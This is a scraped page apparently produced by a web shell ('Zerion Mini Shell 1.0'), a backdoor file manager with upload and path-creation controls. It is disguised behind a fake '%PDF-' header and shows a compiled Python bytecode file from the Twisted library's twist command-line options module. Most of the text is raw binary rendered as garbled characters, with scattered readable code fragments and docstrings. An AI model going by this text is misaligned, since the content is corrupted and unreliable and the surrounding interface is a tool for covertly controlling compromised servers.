%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/application/twist/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/application/twist/__pycache__/_options.cpython-312.pyc

�

Ϫ�f����dZddlZddlmZmZddlmZddlmZmZm	Z	m
Z
mZmZm
Z
ddlmZddlmZddlmZmZmZmZdd	lmZdd
lmZmZddlmZmZmZdd
l m!Z!m"Z"ddl#m$Z$e%Z&dede'gdfde'ddfd�Z(Gd�de�Z)y)z$
Command line options for C{twist}.
�N)�stderr�stdout)�dedent)�Callable�Iterable�Mapping�Optional�Sequence�Tuple�cast)�version)�IReactorCore)�InvalidLogLevelError�LogLevel�jsonFileLogObserver�textFileLogObserver)�
getPlugins)�Options�
UsageError�)�
NoSuchReactor�getReactorTypes�installReactor)�
ExitStatus�exit)�
IServiceMaker�opt�TwistOptions�kwargs�returnc�`�t|jxsd�jdi|��|_y)z�
    Update the docstring of a method that implements an option.
    The string is dedented and the given keyword arguments are substituted.
    �N�)r�__doc__�format)rrs  �D/usr/lib/python3/dist-packages/twisted/application/twist/_options.py�_update_docr's)��
3�&����*��+�2�2�<�V�<�C�K�c	���eZdZdZdZejZdd�Zde	fd�Z
dd�Zde	ddfd	�Ze
ed
jd�e�D����de	defd
�Zde	ddfd�Ze
ed
jd�ej&�D��ej(��de	ddfd�Zde	ddfd�Ze
e�dd�Zddeee	ddfd�Zedee	effd��Zedee e	de!ege"fe	ffd��Z#dd�Z$y)rz,
    Command line options for C{twist}.
    �defaultr Nc��tj|�|j|d<|j|d<t|d<d|_y)N�reactorName�logLevel�logFiler")r�__init__�defaultReactorName�defaultLogLevelr�longdesc��selfs r&r/zTwistOptions.__init__/sB�������"�5�5��]���/�/��Z�� ��Y����
r(c�2�tj|��d�S)Nz plugin [plugin_options])r�getSynopsisr3s r&r6zTwistOptions.getSynopsis:s���%�%�d�+�,�,D�E�Er(c�B�ttjt��y)z)
        Print version and exit.
        N)rr�EX_OKr
r3s r&�opt_versionzTwistOptions.opt_version=s��	
�Z�
�
�'��,r(�namec�n�	|j|�|d<||d<y#t$rtd|����wxYw)zN
        The name of the reactor to use.
        (options: {options})
        �reactorr,zUnknown reactor: N)rrr)r4r:s  r&�opt_reactorzTwistOptions.opt_reactorCsK��	'�"�1�1�$�7�D��O�#'�D�����	9��0���7�8�8�	9�s��4z, c#�<K�|]}d|j�d����y�w��"N)�	shortName)�.0�rts  r&�	<genexpr>zTwistOptions.<genexpr>Ts����J�"�A�b�l�l�^�1�-�J�����optionsc�b�||jk(rddlm}tt|�St|�S)z&
        Install the reactor.
        r)r<)r0�twisted.internetr<rrr)r4r:r<s   r&rzTwistOptions.installReactorWs-���4�*�*�*�0���g�.�.�!�$�'�'r(�	levelNamec�l�	tj|�|d<y#t$rtd|����wxYw)z[
        Set default log level.
        (options: {options}; default: "{default}")
        r-zInvalid log level: N)r�
levelWithNamerr)r4rJs  r&�
opt_log_levelzTwistOptions.opt_log_levelbsA��
	@�'�5�5�i�@�D����#�	@��2�9�+�>�?�?�	@�s��3c#�<K�|]}d|j�d����y�wr?)r:)rB�constants  r&rDzTwistOptions.<genexpr>ns"����
�%-�a��
�
��a� �
�rE)rGr*�fileNamec���|dk(r
t|d<y|dk(r
t|d<y	t|d�|d<y#t$r*}t	t
jd|�d|���Yd}~yd}~wwxYw)zM
        Log to file. ("-" for stdout, "+" for stderr; default: "-")
        �-r.N�+�azUnable to open log file z: )rr�openFile�OSErrorrr�EX_IOERR)r4rP�es   r&�opt_log_filezTwistOptions.opt_log_filetsu���s�?�$�D��O���s�?�$�D��O��	�&�x��5�D��O���	���#�#�*�8�,�b���<�
�
��	�s�0�	A#� A�A#r%c��|j�}|dk(r
t|d<n|dk(r
t|d<ntd|����||d<y)z�
        Log file format.
        (options: "text", "json"; default: "text" if the log file is a tty,
        otherwise "json")
        �text�fileLogObserverFactory�jsonzInvalid log format: �	logFormatN)�lowerrrr)r4r%s  r&�opt_log_formatzTwistOptions.opt_log_format�sR��������V��-@�D�)�*�
�v�
�-@�D�)�*��3�F�8�<�=�=�"��[�r(c��d|vr?|d}t|d�r|j�rt|d<d|d<yt|d<d|d<yy)zm
        Set C{fileLogObserverFactory} to the default appropriate for the
        chosen C{logFile}.
        r\r.�isattyr[r^r]N)�hasattrrbrr)r4r.s  r&�selectDefaultLogObserverz%TwistOptions.selectDefaultLogObserver�sW��
$�4�/��9�o�G��w��)�g�n�n�.>�1D��-�.�$*��[�!�1D��-�.�$*��[�!�0r(rGc��|j�tj||��d|vr|j|d�|d<yy)NrFr<r,)rdr�parseOptionsr)r4rGs  r&rfzTwistOptions.parseOptions�sD���%�%�'����T�7�3��D� �"�1�1�$�}�2E�F�D��O�!r(c��d|vr*i}tt�D]}|||j<�||d<ttt
tf|d�S)N�plugins)rr�tapnamerr�str)r4rh�plugins   r&rhzTwistOptions.plugins�sU���D� ��G�$�]�3�
1��*0�����'�
1�%�D��O��G�C��.�/��i��A�Ar(c#�K�|j}t|�D]5}||}|fdtdtfd�}|jd||j
f���7y�w)Nrkr c�>�tt|j��S�N)rrrG)rks r&rGz)TwistOptions.subCommands.<locals>.options�s���G�V�^�^�%5�6�6r()rh�sortedrrri�description)r4rhr:rkrGs     r&�subCommandszTwistOptions.subCommands�sb�����,�,���7�O�		F�D��T�]�F�
17�
7�
�
7�7�
7��>�>�4��&�2D�2D�E�E�		F�s�AAc�\�tj|�|j�td��y)NzNo plugin specified.)r�postOptions�
subCommandrr3s r&rszTwistOptions.postOptions�s+�����D�!��?�?�"��3�4�4�#r()r N)r ztyping.NoReturnrn)%�__name__�
__module__�__qualname__r$r0r�infor1r/rjr6r9r=r'�joinrrrrM�
iterconstantsr:rYr`rdr	r
rf�propertyrrrhrrrrrqrsr#r(r&rr's����#���m�m�O�	�F�S�F�-�
'��
'��
'����	�	�J��8I�J�J��
	(�3�	(�<�	(�@�s�@�t�@����	�	�
�1G��1G�1G�1I�
�
� �$�$���S��T��(#�S�#�T�#� ���
+�G�H�X�c�]�$;�G�t�G��B���m�!3�4�B��B��
F�	�%��T�8�]�O�W�,D�#E�s�J�K�	L�
F��
F�5r()*r$�typing�sysrr�textwraprrrrr	r
rr�twisted.copyrightr
�twisted.internet.interfacesr�twisted.loggerrrrr�twisted.pluginr�twisted.python.usagerr�reactorsrrr�runner._exitrr�servicer�openrUrjr'rr#r(r&�<module>r�s~��
����O�O�O�%�4���&�4�E�E�+�#���=�X�~�s�3�T�9�:�=�c�=�d�=�h5�7�h5r(

Zerion Mini Shell 1.0